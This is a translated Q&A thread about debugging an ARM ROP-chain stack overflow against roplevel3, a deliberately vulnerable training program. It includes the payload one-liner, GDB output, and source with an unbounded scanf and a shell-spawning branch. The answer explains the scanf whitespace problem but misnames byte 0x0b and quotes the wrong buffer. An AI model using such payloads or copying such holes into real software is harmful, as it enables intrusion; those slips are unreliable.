ARM: цепочка ROP: сбой переполнения стека по определенному адресу - PullRequest
0 голосов
/ 06 января 2019

Я пытаюсь использовать слегка измененный roplevel3 из Билли Эллиса ' Exploit-вызовы . Однако переполнение стека не работает с использованием адреса глобальной переменной internal_mode (0x00020b44).

Это моя цепочка ROP:

python2 -c "import struct; print('A'*20 + struct.pack('<l', int('00010700', 16)) + 'F'*4 + struct.pack('<l', int('00020b44', 16)) + struct.pack('<l', int('000106f4', 16)) + struct.pack('<l', int('00010708', 16)) + struct.pack('<l', int('00010708', 16)))" > input

Я наконец запустил программу в GDB:

(gdb) disassemble gadget 
Dump of assembler code for function gadget:
=> 0x00010700 <+0>: pop {r0, r1, pc}
   0x00010704 <+4>: bx  lr
End of assembler dump.

(gdb) disassemble write_anywhere 
Dump of assembler code for function write_anywhere:
   0x000106f4 <+0>: str r0, [r1]
   0x000106f8 <+4>: pop {r7, pc}
   0x000106fc <+8>: bx  lr
End of assembler dump.

(gdb) x/1xw 0x20b44
0x20b44 <internal_mode>:    0x00000000

(gdb) b *gadget 
Breakpoint 1 at 0x10700

(gdb) run < input 
Starting program: /home/pi/secstock/tutorials/beginners_guide_to_exploitation_on_arm/06/roplevel3 < input
Welcome to ROPLevel3 by @bellis1000

Select an option:
[1] Function
[2] Function (internal)
[3] Exit
Invalid choice.

Breakpoint 1, 0x00010700 in gadget ()

Просмотр стека показывает, что адрес internal_mode (0x00020b44) не достиг стека:

(gdb) x/20xw $sp-8
0xbefff198: 0x41414141  0x00010700  0x46464646  0xbeff0044
0xbefff1a8: 0x00000001  0x00010708  0xb6ffe0c8  0xb6ffddd0
0xbefff1b8: 0x00000000  0x00000000  0x00010418  0x00000000
0xbefff1c8: 0x00000000  0x00000000  0xb6ffc000  0x00000000
0xbefff1d8: 0x5eaf5113  0x56b822e3  0x00000000  0x00000000

Переполнение стека работает правильно, если я изменил адрес 0x0002 0 b44 в моей строке атаки, например, на. 0x0002 1 b44.

Новая строка атаки:

python2 -c "import struct; print('A'*20 + struct.pack('<l', int('00010700', 16)) + 'F'*4 + struct.pack('<l', int('00021b44', 16)) + struct.pack('<l', int('000106f4', 16)) + struct.pack('<l', int('00010708', 16)) + struct.pack('<l', int('00010708', 16)))" > input

Поведение в ГБД:

(gdb) run < input 
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/pi/secstock/tutorials/beginners_guide_to_exploitation_on_arm/06/roplevel3 < input
Welcome to ROPLevel3 by @bellis1000

Select an option:
[1] Function
[2] Function (internal)
[3] Exit
Invalid choice.

Breakpoint 1, 0x00010700 in gadget () 

(gdb) x/20xw $sp-8
0xbefff198: 0x41414141  0x00010700  0x46464646  0x00021b44
0xbefff1a8: 0x000106f4  0x00010708  0x00010708  0xb6ffdd00
0xbefff1b8: 0x00000000  0x00000000  0x00010418  0x00000000
0xbefff1c8: 0x00000000  0x00000000  0xb6ffc000  0x00000000
0xbefff1d8: 0xbcec0b6c  0xb4fb789c  0x00000000  0x00000000

Вопрос в том, почему я не могу переписать стек с адресом 0x00020b44 ?

Исходный код

Исходный код roplevel3.c :

#import <stdio.h>
#import <string.h>
#import <unistd.h>
#import <stdlib.h>

volatile int dummy1 = 0;
volatile int dummy2 = 0;
volatile int dummy3 = 0;
volatile int dummy4 = 0;
volatile int dummy5 = 0;
volatile int dummy6 = 0;
volatile int dummy7 = 0;
int internal_mode = 0;

void func()
{
        printf("Hello world! Welcome to a function - an function that does absolutely nothing!\n");
}

void func_internal()
{

    printf("\x1b[33mWelcome to a more interesting function with developer-only functionality ;P\x1b[0m\nWhat would you like to do?\n[1] Touch a file\n[2] Spawn a shell\n[3] Quit function\n");

    char input[1];
    scanf("%s",input);

    if (strcmp(input,"1") == 0) {
            system("touch /created_by_roplevel3");
    } else if (strcmp(input,"2") == 0) {
            system("/bin/sh");
    } else if (strcmp(input,"3") == 0) {

    } else {
            printf("Invalid option");
    }

}

void validate(char func_id[])
{
if (strcmp(func_id, "1") == 0) {
            func();
} else if (strcmp(func_id,"2") == 0) {
            if (internal_mode == 0) {
                    printf("You do not have permission to launch this function.\n");
    } else {
                func_internal();
            }
    } else if (strcmp(func_id,"3") == 0) {
    exit(0);
} else {
        printf("Invalid choice.\n");
}
}

void write_anywhere()
{
    __asm__("str r0, [r1]");
__asm__("pop {r7, pc}");
}

void gadget()
{
    __asm__("pop {r0,r1,pc}");
}

int main(){
int a = 1;

printf("Welcome to ROPLevel3 by @bellis1000\n\n");

while (a == 1) {
    printf("Select an option:\n[1] Function\n[2] Function (internal)\n[3] Exit\n");

        char input[8];
    scanf("%s", input);

            validate(input);
}

    return 0;
}

Я компилирую код следующим образом:

clang -c -fno-pie -fno-stack-protector -mno-thumb roplevel3.c
clang -o roplevel3 roplevel3.o

Окружающая среда

Хост

  • qemu-arm версия 3.1.0

Цель (arm-unknown-linux-gnueabihf)

  • Raspbian GNU / Linux 8 (Джесси)
  • Linux raspberrypi 4.4.34+ # 3, четверг, 1 декабря 14:44:23 IST 2016 armv6l GNU / Linux
  • Версия Raspbian clang 3.5.0-10 + rpi1 (tags / RELEASE_350 / final) (на основе LLVM 3.5.0)

1 Ответ

0 голосов
/ 28 января 2019

Проблема в том, как входные данные хранятся в буфере стека:

    char input[1];
    scanf("%s",input);

Согласно справочной странице scanf:

S

Соответствует последовательности символов, не являющихся пробелами; следующий указатель должен быть указателем на массив символов, который достаточно длинный, чтобы содержать входную последовательность и завершающий нулевой байт ('\ 0'), который добавляется автоматически. Строка ввода останавливается на пустом месте или на максимальной ширине поля, в зависимости от того, что произойдет раньше.

Ваш адрес 0x00020b44 преобразуется в 4 байта: 0x44 0x0b 0x02 0x00. Поскольку шестнадцатеричный байт 0x0b означает '\ b', который является пробелом char, это заставляет scanf прекратить анализ вашего ввода. 0x21 это '!' char, следовательно, не пробел, и поэтому он не останавливает синтаксический анализ.

Довольно странно, потому что '\ 0' не является символом пробела, ваш буфер эксплойта может содержать нулевые байты, но не может содержать символы пробела.

...